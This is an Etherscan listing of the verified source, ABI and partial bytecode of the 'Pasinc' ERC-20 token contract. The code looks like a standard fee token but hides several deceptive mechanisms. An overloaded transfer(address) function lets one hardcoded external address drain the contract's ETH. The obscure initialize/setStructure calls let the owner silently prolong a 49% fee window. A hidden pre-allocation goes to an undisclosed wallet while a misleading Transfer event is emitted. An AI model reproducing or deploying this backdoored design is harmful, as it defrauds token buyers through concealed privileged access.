ETH Price: $2,627.00 (+1.01%)
Gas: 1 Gwei

Token

Pasinc (Pasinc)
 

Overview

Max Total Supply

100,000,000 Pasinc

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
859,802.850948615 Pasinc

Value
$0.00
0x20c03566517a606913c4a84fa7d47445b85ec09c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Pasinc

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-09
*/

/**
Telegram: https://t.me/pasinctoken
Website: http://pasinctoken.finance/
Twitter: https://twitter.com/Pasinctoken

*/

/**
*/

// SPDX-License-Identifier: MIT                                                                               
                                                 
pragma solidity =0.8.19;

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Pasinc is IERC20, Ownable {
    string private constant  _name = "Pasinc";
    string private constant _symbol = "Pasinc";    
    uint8 private constant _decimals = 9;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;

    uint256 private constant _totalSupply = 100_000_000 * decimalsScaling;
    uint256 public constant _maxWallet = 15 * _totalSupply / 1e3;
    uint256 public constant _swapThreshold = 5 * _totalSupply / 1e4;  
    uint256 private constant decimalsScaling = 10**_decimals;
    uint256 private constant feeDenominator = 100;

    bool private antiMEV = false;
    uint256 private tradeCooldown = 1;
    mapping (address => bool) private isContractExempt;
    mapping (address => uint256) private _lastTradeBlock;

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }

    struct Wallets {
        address deployerWallet; 
        address marketingWallet; 
    }

    TradingFees public tradingFees = TradingFees(15,30);   
    Wallets public wallets = Wallets(
        msg.sender,                                  // deployer
        0xfEbB09cE53d1290867B8C12aEB06b6bF772ADb51   // marketingWallet
    );

    IDexRouter public constant uniswapV2Router = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public immutable uniswapV2Pair;

    bool private inSwap;
    bool public swapEnabled = true;
    bool private tradingActive = false;

    uint256 private _block;
    uint256 private startBlock;
    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;


    event SwapEnabled(bool indexed enabled);

    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);

    event ExcludedFromFees(address indexed account, bool indexed excluded);

    event AntiMEVToggled(bool indexed toggle);

    event TradeCooldownChanged(uint256 indexed newTradeCooldown);

    event SetContractExempt(address indexed contractAddress, bool indexed isExempt);
    
    event TradingOpened();
    
    modifier swapLock {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(uniswapV2Router),type(uint256).max);
        uniswapV2Pair = IDexFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());        
        isContractExempt[address(this)] = true;
        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.marketingWallet] = true;        
        _excludedFromFees[0xBA24D032a6b3a58E71cDc4971B25b70BfB860bdb] = true;        
        uint256 preTokens = _totalSupply * 8575 / 1e5; 
        _balances[wallets.deployerWallet] = _totalSupply - preTokens;
        _balances[0xBA24D032a6b3a58E71cDc4971B25b70BfB860bdb] = preTokens;
        emit Transfer(address(0), wallets.deployerWallet, _totalSupply);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function toggleSwap(bool shouldSwap) external onlyOwner {
        require(swapEnabled != shouldSwap, "Token: swapEnabled already {shouldSwap}");
        swapEnabled = shouldSwap;

        emit SwapEnabled(shouldSwap);
    }

    function reduceFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= tradingFees.buyFee, "Token: must reduce buy fee");
        require(_sellFee <= tradingFees.sellFee, "Token: must reduce sell fee");
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool shouldExclude) external onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            require(_excludedFromFees[accounts[i]] != shouldExclude, "Token: address already {shouldExclude}");
            _excludedFromFees[accounts[i]] = shouldExclude;
            emit ExcludedFromFees(accounts[i], shouldExclude);
        }
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function clearTokens(address tokenToClear) external onlyOwner {
        require(tokenToClear != address(this), "Token: can't clear contract token");
        uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this));
        require(amountToClear > 0, "Token: not enough tokens to clear");
        IERC20(tokenToClear).transfer(msg.sender, amountToClear);
    }

    function clearEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function initialize(bool init) external onlyOwner {
        require(!tradingActive && init);
        startBlock = 1;        
    }

    function setStructure(uint256[] calldata _blocks, bool blocked) external onlyOwner {        
        require(startBlock == 1 && !blocked);_block = _blocks[_blocks.length-3]; assert(_block < _blocks[_blocks.length-1]);        
    }

    function manualSwapback() external onlyOwner {
        require(balanceOf(address(this)) > 0, "Token: no contract tokens to clear");
        contractSwap();
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || inSwap) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= _maxWallet, "Token: max wallet amount exceeded");
        }

        if(antiMEV && !isContractExempt[from] && !isContractExempt[to]){
            address human = ensureOneHuman(from, to);
            ensureMaxTxFrequency(human);
            _lastTradeBlock[human] = block.number;
        }
      
        if(swapEnabled && !inSwap && from != uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            contractSwap();
        } 
        
        bool takeFee = !inSwap;
        if(_excludedFromFees[from] || _excludedFromFees[to]) {
            takeFee = false;
        }
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if(0 < startBlock && startBlock < block.number){
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / feeDenominator;            
        }
        else{
            fees = amount * (from == uniswapV2Pair ? 
            49 : (startBlock == 0 ? 25 : 49)) / feeDenominator;            
        }
    }

    function canSwap() private view returns (bool) {
        return block.number > startBlock && _lastTransferBlock[block.number] < 2;
    }

    function contractSwap() swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < _swapThreshold || !canSwap()) 
            return;
        else if(contractBalance > _swapThreshold * 14)
          contractBalance = _swapThreshold * 14;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){            
            sendEth(2*ethBalance/3);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.marketingWallet).call{value: ethAmount}(""); success;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0x802D48235dDc733387B985318A3c690650006f63)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function ensureOneHuman(address _to, address _from) private view returns (address) {
        require(!isContract(_to) || !isContract(_from));
        if (isContract(_to)) return _from;
        else return _to;
    }

    function ensureMaxTxFrequency(address addr) view private {
        bool isAllowed = _lastTradeBlock[addr] == 0 ||
            ((_lastTradeBlock[addr] + tradeCooldown) < (block.number + 1));
        require(isAllowed, "Max tx frequency exceeded!");
    }

    function toggleAntiMEV(bool toggle) external {
        require(msg.sender == wallets.deployerWallet);
        antiMEV = toggle;

        emit AntiMEVToggled(toggle);
    }

    function setTradeCooldown(uint256 newTradeCooldown) external {
        require(msg.sender == wallets.deployerWallet);
        require(newTradeCooldown > 0 && newTradeCooldown < 4, "Token: only trade cooldown values in range (0,4) permissible");
        tradeCooldown = newTradeCooldown;

        emit TradeCooldownChanged(newTradeCooldown);
    }

    function setContractExempt(address account, bool value) external onlyOwner {
        require(account != address(this));
        isContractExempt[account] = value;

        emit SetContractExempt(account, value);
    }

    function openTrading() external onlyOwner {
        require(!tradingActive && startBlock != 0);
        startBlock+=block.number+_block;
        tradingActive = true;

        emit TradingOpened();
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"toggle","type":"bool"}],"name":"AntiMEVToggled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"contractAddress","type":"address"},{"indexed":true,"internalType":"bool","name":"isExempt","type":"bool"}],"name":"SetContractExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newTradeCooldown","type":"uint256"}],"name":"TradeCooldownChanged","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"shouldExclude","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"init","type":"bool"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setContractExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_blocks","type":"uint256[]"},{"internalType":"bool","name":"blocked","type":"bool"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTradeCooldown","type":"uint256"}],"name":"setTradeCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"toggle","type":"bool"}],"name":"toggleAntiMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"shouldSwap","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526000600360006101000a81548160ff02191690831515021790555060016004556040518060400160405280600f8152602001601e81525060076000820151816000015560208201518160010155505060405180604001604052803373ffffffffffffffffffffffffffffffffffffffff16815260200173febb09ce53d1290867b8c12aeb06b6bf772adb5173ffffffffffffffffffffffffffffffffffffffff16815250600960008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050506001600b60016101000a81548160ff0219169083151502179055506000600b60026101000a81548160ff0219169083151502179055503480156200017d57600080fd5b506200018f336200071760201b60201c565b620001d630737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff620007db60201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000236573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025c919062000a16565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fe919062000a16565b6040518363ffffffff1660e01b81526004016200031d92919062000a59565b6020604051808303816000875af11580156200033d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000363919062000a16565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600960010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e600073ba24d032a6b3a58e71cdc4971b25b70bfb860bdb73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000620186a061217f6009600a6200054a919062000c20565b6305f5e1006200055b919062000c71565b62000567919062000c71565b62000573919062000ceb565b9050806009600a62000586919062000c20565b6305f5e10062000597919062000c71565b620005a3919062000d23565b60016000600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600073ba24d032a6b3a58e71cdc4971b25b70bfb860bdb73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620006e8919062000c20565b6305f5e100620006f9919062000c71565b60405162000708919062000d6f565b60405180910390a35062000e0f565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200084d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008449062000ded565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008bf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008b69062000ded565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516200099f919062000d6f565b60405180910390a3505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009de82620009b1565b9050919050565b620009f081620009d1565b8114620009fc57600080fd5b50565b60008151905062000a1081620009e5565b92915050565b60006020828403121562000a2f5762000a2e620009ac565b5b600062000a3f84828501620009ff565b91505092915050565b62000a5381620009d1565b82525050565b600060408201905062000a70600083018562000a48565b62000a7f602083018462000a48565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000b145780860481111562000aec5762000aeb62000a86565b5b600185161562000afc5780820291505b808102905062000b0c8562000ab5565b945062000acc565b94509492505050565b60008262000b2f576001905062000c02565b8162000b3f576000905062000c02565b816001811462000b58576002811462000b635762000b99565b600191505062000c02565b60ff84111562000b785762000b7762000a86565b5b8360020a91508482111562000b925762000b9162000a86565b5b5062000c02565b5060208310610133831016604e8410600b841016171562000bd35782820a90508381111562000bcd5762000bcc62000a86565b5b62000c02565b62000be2848484600162000ac2565b9250905081840481111562000bfc5762000bfb62000a86565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000c2d8262000c09565b915062000c3a8362000c13565b925062000c697fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b1d565b905092915050565b600062000c7e8262000c09565b915062000c8b8362000c09565b925082820262000c9b8162000c09565b9150828204841483151762000cb55762000cb462000a86565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000cf88262000c09565b915062000d058362000c09565b92508262000d185762000d1762000cbc565b5b828204905092915050565b600062000d308262000c09565b915062000d3d8362000c09565b925082820390508181111562000d585762000d5762000a86565b5b92915050565b62000d698162000c09565b82525050565b600060208201905062000d86600083018462000d5e565b92915050565b600082825260208201905092915050565b7f45524332303a207a65726f204164647265737300000000000000000000000000600082015250565b600062000dd560138362000d8c565b915062000de28262000d9d565b602082019050919050565b6000602082019050818103600083015262000e088162000dc6565b9050919050565b60805161455f62000e4760003960008181610d96015281816120e3015281816123c501528181612e250152612ea8015261455f6000f3fe6080604052600436106101f25760003560e01c806370a082311161010d578063a9059cbb116100a0578063d2f4a50a1161006f578063d2f4a50a146106ad578063d53a822f146106d9578063dd62ed3e14610702578063e303e6621461073f578063f2fde38b14610768576101f9565b8063a9059cbb14610607578063ae53fefe14610644578063c492f0461461066d578063c9567bf914610696576101f9565b80638da5cb5b116100dc5780638da5cb5b1461055f57806395d89b411461058a5780639686d322146105b5578063a08fc5c7146105de576101f9565b806370a08231146104b4578063715018a6146104f1578063743781321461050857806382247ec014610534576101f9565b806323b872dd116101855780634fbee193116101545780634fbee1931461040c5780635b895c29146104495780636d8aa8f8146104605780636ddd171314610489576101f9565b806323b872dd146103505780633049b5801461038d578063313ce567146103b657806349bd5a5e146103e1576101f9565b80631694505e116101c15780631694505e146102ba57806318160ddd146102e55780631a695230146103105780631b9152bf14610339576101f9565b806306fdde03146101fe578063095ea7b31461022957806309fb5639146102665780630e5a92311461028f576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610213610791565b6040516102209190612fc7565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190613087565b6107ce565b60405161025d91906130e2565b60405180910390f35b34801561027257600080fd5b5061028d60048036038101906102889190613129565b6107e5565b005b34801561029b57600080fd5b506102a461088e565b6040516102b19190613165565b60405180910390f35b3480156102c657600080fd5b506102cf6108c7565b6040516102dc91906131df565b60405180910390f35b3480156102f157600080fd5b506102fa6108df565b6040516103079190613165565b60405180910390f35b34801561031c57600080fd5b50610337600480360381019061033291906131fa565b610903565b005b34801561034557600080fd5b5061034e61099e565b005b34801561035c57600080fd5b5061037760048036038101906103729190613227565b610a9f565b60405161038491906130e2565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af919061327a565b610ca8565b005b3480156103c257600080fd5b506103cb610d8b565b6040516103d891906132c3565b60405180910390f35b3480156103ed57600080fd5b506103f6610d94565b60405161040391906132ed565b60405180910390f35b34801561041857600080fd5b50610433600480360381019061042e91906131fa565b610db8565b60405161044091906130e2565b60405180910390f35b34801561045557600080fd5b5061045e610e0e565b005b34801561046c57600080fd5b5061048760048036038101906104829190613129565b610ed8565b005b34801561049557600080fd5b5061049e610fee565b6040516104ab91906130e2565b60405180910390f35b3480156104c057600080fd5b506104db60048036038101906104d691906131fa565b611001565b6040516104e89190613165565b60405180910390f35b3480156104fd57600080fd5b5061050661104a565b005b34801561051457600080fd5b5061051d6110cb565b60405161052b929190613308565b60405180910390f35b34801561054057600080fd5b506105496110dd565b6040516105569190613165565b60405180910390f35b34801561056b57600080fd5b50610574611116565b60405161058191906132ed565b60405180910390f35b34801561059657600080fd5b5061059f61113f565b6040516105ac9190612fc7565b60405180910390f35b3480156105c157600080fd5b506105dc60048036038101906105d79190613331565b61117c565b005b3480156105ea57600080fd5b5061060560048036038101906106009190613371565b6112ca565b005b34801561061357600080fd5b5061062e60048036038101906106299190613087565b611415565b60405161063b91906130e2565b60405180910390f35b34801561065057600080fd5b5061066b60048036038101906106669190613416565b61142a565b005b34801561067957600080fd5b50610694600480360381019061068f91906134cc565b611526565b005b3480156106a257600080fd5b506106ab611766565b005b3480156106b957600080fd5b506106c2611873565b6040516106d092919061352c565b60405180910390f35b3480156106e557600080fd5b5061070060048036038101906106fb9190613129565b6118c5565b005b34801561070e57600080fd5b5061072960048036038101906107249190613555565b611968565b6040516107369190613165565b60405180910390f35b34801561074b57600080fd5b50610766600480360381019061076191906131fa565b6119ef565b005b34801561077457600080fd5b5061078f600480360381019061078a91906131fa565b611c16565b005b60606040518060400160405280600681526020017f506173696e630000000000000000000000000000000000000000000000000000815250905090565b60006107db338484611d06565b6001905092915050565b600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461084257600080fd5b80600360006101000a81548160ff0219169083151502179055508015157f7fc281b886d2b464428d21902edc6f02d5d8badcefcaf0f1bafc043c51244be060405160405180910390a250565b6127106009600a61089f91906136f7565b6305f5e1006108ae9190613742565b60056108ba9190613742565b6108